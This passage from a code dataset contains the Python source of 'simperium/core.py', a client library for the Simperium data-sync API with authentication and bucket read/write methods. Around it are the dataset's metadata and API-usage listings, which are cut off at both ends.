"call"}, {"api_name": "gcloud.exceptions", "line_number": 116, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.objects.get", "line_number": 132, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 132, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 134, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 134, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Forbidden", "line_number": 150, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 150, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Unauthorized", "line_number": 153, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 153, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Forbidden", "line_number": 156, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 156, "usage_type": "name"}, {"api_name": "gcloud.exceptions.APIError", "line_number": 158, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 158, "usage_type": "name"}, {"api_name": "django.core.cache.cache.set", "line_number": 164, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 164, "usage_type": "name"}, {"api_name": "gcloud.core.roles.MAINTAINERS", "line_number": 173, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 173, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.objects.get_or_create", "line_number": 177, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 177, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 177, "usage_type": "name"}, {"api_name": "guardian.shortcuts.assign_perm", "line_number": 180, "usage_type": "call"}, {"api_name": "guardian.shortcuts.assign_perm", "line_number": 181, "usage_type": "call"}, {"api_name": "gcloud.core.models.BusinessGroupMembership.objects.get_or_create", "line_number": 183, "usage_type": "call"}, {"api_name": "gcloud.core.models.BusinessGroupMembership.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.BusinessGroupMembership", "line_number": 183, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 195, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 195, "usage_type": "name"}, {"api_name": "gcloud.core.roles.ALL_ROLES", "line_number": 200, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 200, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.objects.get_or_create", "line_number": 202, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 202, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 202, "usage_type": "name"}, {"api_name": "guardian.shortcuts.assign_perm", "line_number": 207, "usage_type": "call"}, {"api_name": "gcloud.core.roles.ADMIN_ROLES", "line_number": 210, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 210, "usage_type": "name"}, {"api_name": "guardian.shortcuts.assign_perm", "line_number": 211, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 213, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 213, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.objects.select_for_update", "line_number": 215, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 215, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 215, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.DoesNotExist", "line_number": 216, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 216, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 219, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 219, "usage_type": "name"}, {"api_name": "gcloud.core.models.BusinessGroupMembership.objects.get_or_create", "line_number": 232, "usage_type": "call"}, {"api_name": "gcloud.core.models.BusinessGroupMembership.objects", "line_number": 232, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.BusinessGroupMembership", "line_number": 232, "usage_type": "name"}, {"api_name": "gcloud.core.roles.CC_V2_ROLE_MAP.get", "line_number": 238, "usage_type": "call"}, {"api_name": "gcloud.core.roles.CC_V2_ROLE_MAP", "line_number": 238, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 238, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 240, "usage_type": "call"}, {"api_name": "gcloud.core.roles.FUNCTOR", "line_number": 244, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 244, "usage_type": "name"}, {"api_name": "gcloud.core.api_adapter.get_operate_user_list", "line_number": 245, "usage_type": "call"}, {"api_name": "gcloud.core.roles.AUDITOR", "line_number": 248, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 248, "usage_type": "name"}, {"api_name": "gcloud.core.api_adapter.get_auditor_user_list", "line_number": 249, "usage_type": "call"}, {"api_name": "django.core.cache.cache.set", "line_number": 257, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 257, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.objects.all", "line_number": 264, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 264, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 264, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 265, "usage_type": "call"}, {"api_name": "gcloud.core.roles.AUDITOR", "line_number": 269, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 269, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.objects.get_or_create", "line_number": 270, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 270, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 270, "usage_type": "name"}, {"api_name": "guardian.shortcuts.assign_perm", "line_number": 274, "usage_type": "call"}, {"api_name": "gcloud.core.models.BusinessGroupMembership.objects.get_or_create", "line_number": 276, "usage_type": "call"}, {"api_name": "gcloud.core.models.BusinessGroupMembership.objects", "line_number": 276, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.BusinessGroupMembership", "line_number": 276, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 286, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 286, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.objects.update_or_create", "line_number": 297, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 297, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 297, "usage_type": "name"}, {"api_name": "django.core.cache.cache.set", "line_number": 304, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 304, "usage_type": "name"}, {"api_name": "gcloud.core.api_adapter.adapt_get_user_data", "line_number": 310, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 311, "usage_type": "call"}, {"api_name": "django.core.cache.cache.get", "line_number": 320, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 320, "usage_type": "name"}, {"api_name": "gcloud.core.api_adapter.get_user_info", "line_number": 323, "usage_type": "call"}, {"api_name": "gcloud.exceptions.Unauthorized", "line_number": 327, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 327, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Forbidden", "line_number": 329, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 329, "usage_type": "name"}, {"api_name": "gcloud.exceptions.APIError", "line_number": 331, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 331, "usage_type": "name"}, {"api_name": "gcloud.conf.settings.ESB_AUTH_COMPONENT_SYSTEM", "line_number": 332, "usage_type": "attribute"}, {"api_name": "gcloud.conf.settings", "line_number": 332, "usage_type": "name"}, {"api_name": "django.core.cache.cache.set", "line_number": 337, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 337, "usage_type": "name"}, {"api_name": "gcloud.core.api_adapter.is_user_functor", "line_number": 343, "usage_type": "call"}, {"api_name": "gcloud.core.api_adapter.is_user_auditor", "line_number": 343, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects.filter", "line_number": 347, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 347, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 347, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Forbidden", "line_number": 349, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 349, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Forbidden", "line_number": 357, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 357, "usage_type": "name"}, {"api_name": "gcloud.core.roles.CC_V2_ROLE_MAP.values", "line_number": 371, "usage_type": "call"}, {"api_name": "gcloud.core.roles.CC_V2_ROLE_MAP", "line_number": 371, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 371, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 381, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 381, "usage_type": "name"}, {"api_name": "gcloud.core.roles.CC_V2_ROLE_MAP", "line_number": 382, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 382, "usage_type": "name"}, {"api_name": "gcloud.core.roles.MAINTAINERS", "line_number": 382, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business.objects.get", "line_number": 404, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 404, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 404, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.DoesNotExist", "line_number": 405, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 405, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.objects.update_or_create", "line_number": 409, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 409, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 409, "usage_type": "name"}, {"api_name": "django.core.cache.cache.set", "line_number": 424, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 424, "usage_type": "name"}, {"api_name": "gcloud.core.models.Business.objects.get", "line_number": 437, "usage_type": "call"}, {"api_name": "gcloud.core.models.Business.objects", "line_number": 437, "usage_type": "attribute"}, {"api_name": "gcloud.core.models.Business", "line_number": 437, "usage_type": "name"}, {"api_name": "gcloud.core.roles.MAINTAINERS", "line_number": 438, "usage_type": "attribute"}, {"api_name": "gcloud.core.roles", "line_number": 438, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.objects.get", "line_number": 441, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 441, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 441, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group.DoesNotExist", "line_number": 442, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 442, "usage_type": "name"}, {"api_name": "django.utils.timezone.localtime", "line_number": 492, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 492, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 492, "usage_type": "call"}, {"api_name": "django.utils.timezone.localtime", "line_number": 497, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 497, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 510, "usage_type": "call"}, {"api_name": "django.utils.timezone.datetime.fromtimestamp", "line_number": 525, "usage_type": "call"}, {"api_name": "django.utils.timezone.datetime", "line_number": 525, "usage_type": "attribute"}, {"api_name": "django.utils.timezone", "line_number": 525, "usage_type": "name"}, {"api_name": "pytz.utc", "line_number": 525, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.is_aware", "line_number": 540, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 540, "usage_type": "name"}, {"api_name": "django.utils.timezone.localtime", "line_number": 541, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 541, "usage_type": "name"}, {"api_name": "gcloud.core.constant.AE.group_list", "line_number": 545, "usage_type": "attribute"}, {"api_name": "gcloud.core.constant.AE", "line_number": 545, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 557, "usage_type": "call"}, {"api_name": "django.utils.six.string_types", "line_number": 596, "usage_type": "attribute"}, {"api_name": "django.utils.six", "line_number": 596, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 620, "usage_type": "call"}, {"api_name": "calendar.monthrange", "line_number": 634, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 636, "usage_type": "call"}]} +{"seq_id": "531504317", "text": "import os\nimport uuid\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nimport requests\n\n\nclass Auth(object):\n \"\"\"\n example use:\n\n >>> from simperium.core import Auth\n >>> auth = Auth('myapp', 'cbbae31841ac4d44a93cd82081a5b74f')\n >>> Auth.create('john@company.com', 'secret123')\n 'db3d2a64abf711e0b63012313d001a3b'\n \"\"\"\n\n def __init__(\n self,\n appname: str,\n api_key: str,\n host: Optional[str] = None,\n scheme: str = \"https\",\n ) -> None:\n \"\"\"\n Inits the Auth class.\n \"\"\"\n if not host:\n host = os.environ.get(\"SIMPERIUM_AUTHHOST\", \"auth.simperium.com\")\n self.appname = appname\n self.api_key = api_key\n self.host = host\n self.scheme = scheme\n\n def _build_url(self, endpoint: str) -> str:\n return \"{}://{}/1/{}\".format(self.scheme, self.host, endpoint)\n\n def create(self, username: str, password: str) -> Optional[str]:\n \"\"\"\n Create a new user with `username` and `password`.\n Returns the user access token if successful, or raises an error\n otherwise.\n \"\"\"\n\n data = {\"username\": username, \"password\": password}\n headers = {\"X-Simperium-API-Key\": self.api_key}\n\n url = self._build_url(self.appname + \"/create/\")\n r = requests.post(url, json=data, headers=headers)\n r.raise_for_status()\n return r.json().get(\"access_token\")\n\n def authorize(self, username: str, password: str) -> str:\n \"\"\"\n Get the access token for a user.\n Returns the access token as a string or raises an error on failure.\n \"\"\"\n data = {\"username\": username, \"password\": password}\n headers = {\"X-Simperium-API-Key\": self.api_key}\n\n url = self._build_url(self.appname + \"/authorize/\")\n r = requests.post(url, json=data, headers=headers)\n r.raise_for_status()\n return r.json()[\"access_token\"]\n\n\nclass Bucket(object):\n \"\"\"\n example use:\n\n >>> from simperium.core import Bucket\n >>> bucket = Bucket('myapp', 'db3d2a64abf711e0b63012313d001a3b', 'mybucket')\n >>> bucket.set('item2', {'age': 23})\n True\n >>> bucket.set('item2', {'age': 25})\n True\n >>> bucket.get('item2')\n {'age': 25}\n >>> bucket.get('item2', version=1)\n {'age': 23}\n \"\"\"\n\n BATCH_DEFAULT_SIZE = 100\n\n def __init__(\n self,\n appname: str,\n auth_token: str,\n bucket: str,\n userid: Optional[str] = None,\n host: Optional[str] = None,\n scheme: str = \"https\",\n clientid: Optional[str] = None,\n ) -> None:\n\n if not host:\n host = os.environ.get(\"SIMPERIUM_APIHOST\", \"api.simperium.com\")\n\n self.userid = userid\n self.host = host\n self.scheme = scheme\n self.appname = appname\n self.bucket = bucket\n self.auth_token = auth_token\n if clientid:\n self.clientid = clientid\n else:\n self.clientid = \"py-%s\" % uuid.uuid4().hex\n\n def _auth_header(self) -> Dict[str, str]:\n headers = {\"X-Simperium-Token\": \"%s\" % self.auth_token}\n if self.userid:\n headers[\"X-Simperium-User\"] = self.userid\n return headers\n\n def _gen_ccid(self) -> str:\n return uuid.uuid4().hex\n\n def _build_url(self, endpoint: str) -> str:\n return \"{}://{}/1/{}\".format(self.scheme, self.host, endpoint)\n\n def index(\n self,\n data: bool = False,\n mark: Optional[str] = None,\n limit: Optional[int] = None,\n since: Optional[str] = None,\n ) -> Dict[Any, Any]:\n \"\"\"\n retrieve a page of the latest versions of a buckets documents\n ordered by most the most recently modified.\n\n @mark: mark the documents returned to be modified after the\n given cv\n @limit: limit page size to this number. max 1000, default 100.\n @since: limit page to documents changed since the given cv.\n @data: include the current data state of each document in the\n result. by default data is not included.\n\n returns: {\n 'current': head cv of the most recently modified document,\n 'mark': cv to use to pull the next page of documents. only\n included in the repsonse if there are remaining pages\n to fetch.\n 'count': the total count of documents available,\n\n 'index': [{\n 'id': id of the document,\n 'v: current version of the document,\n 'd': optionally current data of the document, if\n data is requested\n }, {....}],\n }\n \"\"\"\n url = self._build_url(\"%s/%s/index\" % (self.appname, self.bucket))\n\n params = {\n \"mark\": str(mark) if mark is not None else None,\n \"limit\": str(limit) if limit is not None else None,\n \"since\": str(since) if since is not None else None,\n \"data\": \"1\" if data else None,\n }\n\n r = requests.get( # type: ignore\n url, headers=self._auth_header(), params=params\n )\n r.raise_for_status()\n return r.json()\n\n def get(\n self, item: str, default: Any = None, version: Optional[int] = None\n ) -> Union[Any, Dict[Any, Any]]:\n \"\"\"\n Retrieves either the latest version of item from this bucket, or the\n specific version requested.\n Returns `default` on a 404, raises error on http error\n\n `version` should be an integer > 0\n \"\"\"\n url = \"%s/%s/i/%s\" % (self.appname, self.bucket, item)\n if version is not None:\n url += \"/v/%s\" % version\n url = self._build_url(url)\n\n r = requests.get(url, headers=self._auth_header())\n if r.status_code == 404:\n return default\n r.raise_for_status()\n\n return r.json()\n\n def post(\n self,\n item: str,\n data: Dict[Any, Any],\n version: Optional[int] = None,\n ccid: Optional[str] = None,\n include_response: bool = False,\n replace: bool = False,\n ) -> Optional[Union[str, Tuple[str, Dict[Any, Any]]]]:\n \"\"\"\n Posts the supplied data to `item`.\n\n If `include_response` is True, returns a tuple of (`item`, the json\n response). Otherwise, returns `item`)\n\n `version` should be an integer > 0\n \"\"\"\n ccid = ccid if ccid else self._gen_ccid()\n\n url = \"%s/%s/i/%s\" % (self.appname, self.bucket, item)\n if version is not None:\n url += \"/v/%s\" % version\n url = self._build_url(url)\n\n params = {\n \"clientid\": self.clientid,\n \"ccid\": ccid,\n \"response\": 1 if include_response else None,\n \"replace\": 1 if replace else None,\n }\n\n r = requests.post(url, json=data, headers=self._auth_header(), params=params)\n r.raise_for_status()\n if include_response:\n return item, r.json()\n else:\n return item\n\n def bulk_post(\n self, bulk_data: Dict[Any, Any], wait: bool = True\n ) -> Union[bool, Dict[Any, Any]]:\n \"\"\"\n posts multiple items at once, bulk_data should be a map like:\n\n { \"item1\" : { data1 },\n \"item2\" : { data2 },\n ...\n }\n\n returns an array of change responses (check for error codes)\n \"\"\"\n changes_list = []\n for itemid, data in list(bulk_data.items()):\n change = {\"id\": itemid, \"o\": \"M\", \"v\": {}, \"ccid\": self._gen_ccid()}\n # manually construct jsondiff, equivalent to jsondiff.diff( {}, data )\n for k, v in list(data.items()):\n change[\"v\"][k] = {\"o\": \"+\", \"v\": v}\n\n changes_list.append(change)\n\n url = \"%s/%s/changes\" % (self.appname, self.bucket)\n url = self._build_url(url)\n params = {\"clientid\": self.clientid}\n params[\"wait\"] = \"1\"\n\n r = requests.post(\n url, json=changes_list, headers=self._auth_header(), params=params\n )\n r.raise_for_status()\n\n if not wait:\n # changes successfully submitted - check /changes\n return True\n\n # check each change response for 'error'\n return r.json()\n\n def new(\n self,\n data: Dict[Any, Any],\n ccid: Optional[str] = None,\n include_response: bool = False,\n ) -> Optional[Union[str, Tuple[str, Dict[Any, Any]]]]:\n return self.post(\n uuid.uuid4().hex, data, ccid=ccid, include_response=include_response\n )\n\n def set(\n self,\n item: str,\n data: Dict[Any, Any],\n version: Optional[int] = None,\n ccid: Optional[str] = None,\n include_response: bool = False,\n replace: bool = False,\n ) -> Optional[Union[str, Tuple[str, Dict[Any, Any]]]]:\n return self.post(\n item,\n data,\n version=version,\n ccid=ccid,\n include_response=include_response,\n replace=replace,\n )\n\n def delete(self, item: str, version: Optional[int] = None) -> Optional[str]:\n \"\"\"\n Deletes the item from bucket.\n Returns the ccid if the response is not an empty string.\n\n `version` should be an integer > 0\n \"\"\"\n ccid = self._gen_ccid()\n url = \"%s/%s/i/%s\" % (self.appname, self.bucket, item)\n if version is not None:\n url += \"/v/%s\" % version\n url = self._build_url(url)\n params = {\"clientid\": self.clientid, \"ccid\": ccid}\n r = requests.delete(url, headers=self._auth_header(), params=params)\n r.raise_for_status()\n if not r.text.strip():\n return ccid\n return None\n\n def changes(self, cv=None, timeout=None):\n \"\"\"\n retrieves updates for this bucket for this user\n\n @cv: if supplied only updates that occurred after this\n change version are retrieved.\n\n @timeout: the call will wait for updates if not are immediately\n available. by default it will wait indefinitely. if a timeout\n is supplied an empty list will be return if no updates are made\n before the timeout is reached.\n \"\"\"\n url = \"%s/%s/changes\" % (self.appname, self.bucket)\n url = self._build_url(url)\n params = {\"clientid\": self.clientid}\n if cv is not None:\n params[\"cv\"] = cv\n headers = self._auth_header()\n r = requests.get(url, headers=headers, timeout=timeout, params=params)\n r.raise_for_status()\n return r.json()\n\n def all(\n self,\n cv: Optional[str] = None,\n data: bool = False,\n username: bool = False,\n most_recent: bool = False,\n timeout: Optional[int] = None,\n skip_clientids: List[str] = [],\n batch: Optional[int] = None,\n ) -> Union[List[Any], Dict[Any, Any]]:\n \"\"\"\n retrieves *all* updates for this bucket, regardless of the user\n which made the update.\n\n @cv: if supplied only updates that occurred after this\n change version are retrieved.\n\n @data: if True, also include the lastest version of the data for\n changed entity\n\n @username: if True, also include the username that created the\n change\n\n @most_recent: if True, then only the most recent change for each\n document in the current page will be returned. e.g. if a\n document has been recently changed 3 times, only the latest of\n those 3 changes will be returned.\n\n @timeout: the call will wait for updates if not are immediately\n available. by default it will wait indefinitely. if a timeout\n is supplied an empty list will be return if no updates are made\n before the timeout is reached.\n \"\"\"\n url = \"%s/%s/all\" % (self.appname, self.bucket)\n url = self._build_url(url)\n\n params = {\n \"clientid\": self.clientid,\n \"cv\": cv,\n \"skip_clientid\": skip_clientids,\n \"batch\": str(batch) if batch is not None else str(self.BATCH_DEFAULT_SIZE),\n \"username\": \"1\" if username else None,\n \"data\": \"1\" if data else None,\n \"most_recent\": \"1\" if most_recent else None,\n }\n headers = self._auth_header()\n r = requests.get( # type: ignore\n url, headers=headers, timeout=timeout, params=params\n )\n r.raise_for_status()\n return r.json()\n\n\nclass SPUser(object):\n \"\"\"\n example use:\n\n >>> from simperium.core import SPUser\n >>> user = SPUser('myapp', 'db3d2a64abf711e0b63012313d001a3b')\n >>> bucket.post({'age': 23})\n True\n >>> bucket.get()\n {'age': 23}\n \"\"\"\n\n def __init__(\n self,\n appname: str,\n auth_token: str,\n host: Optional[str] = None,\n scheme: str = \"https\",\n clientid: Optional[str] = None,\n ) -> None:\n\n self.bucket = Bucket(\n appname, auth_token, \"spuser\", host=host, scheme=scheme, clientid=clientid\n )\n\n def get(self) -> Dict[Any, Any]:\n return self.bucket.get(\"info\")\n\n def post(\n self, data: Dict[Any, Any]\n ) -> Optional[Union[str, Tuple[str, Dict[Any, Any]]]]:\n return self.bucket.post(\"info\", data)\n\n\nclass Api(object):\n def __init__(\n self,\n appname: str,\n auth_token: str,\n userid: Optional[str] = None,\n host: Optional[str] = None,\n scheme: str = \"https\",\n clientid: Optional[str] = None,\n ) -> None:\n self.appname = appname\n self.token = auth_token\n self.userid = userid\n self.host = host\n self.scheme = scheme\n self.clientid = clientid\n\n def __getattr__(self, name: str) -> Union[SPUser, Bucket]:\n return Api.__getitem__(self, name)\n\n def __getitem__(self, name: str) -> Union[SPUser, Bucket]:\n if name.lower() == \"spuser\":\n return SPUser(\n self.appname,\n self.token,\n host=self.host,\n scheme=self.scheme,\n clientid=self.clientid,\n )\n return Bucket(\n self.appname,\n self.token,\n name,\n userid=self.userid,\n host=self.host,\n scheme=self.scheme,\n clientid=self.clientid,\n )\n\n\nclass Admin(Api):\n def __init__(\n self,\n appname: str,\n admin_token: str,\n host: Optional[str] = None,\n scheme: str = \"https\",\n clientid: Optional[str] = None,\n ) -> None:\n self.appname = appname\n self.token = admin_token\n self.host = host\n self.scheme = scheme\n self.clientid = clientid\n\n def as_user(self, userid: str) -> Api:\n return Api(\n self.appname,\n self.token,\n userid=userid,\n host=self.host,\n scheme=self.scheme,\n clientid=self.clientid,\n )\n", "sub_path": "simperium/core.py", "file_name": "core.py", "file_ext": "py", "file_size_in_byte": 15266, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 29, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 29, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 49, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 90, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 93, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 97, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 97, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 108, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 110, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 117, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 126, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 127, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 164, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 128, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 128, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 171, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 171, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 185, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 195, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 195, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 196, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 197, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 223, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 231, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 231, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 257, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 232, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 271, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 271, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 272, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 276, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 274, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 274, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 274, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 274, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 274, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 282, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 282, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 283, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 284, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 287, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 287, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 287, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 287, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 287, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 297, "usage_type": "name"}, {"api_name": "requests.delete", "line_number": 310, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 334, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 340, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 344, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 345, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 346, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 384, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 347, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 347, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 347, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 347, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 407, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 409, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 416, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 416, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 420, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 420, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 421, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 421, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 421, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 421, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 421, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 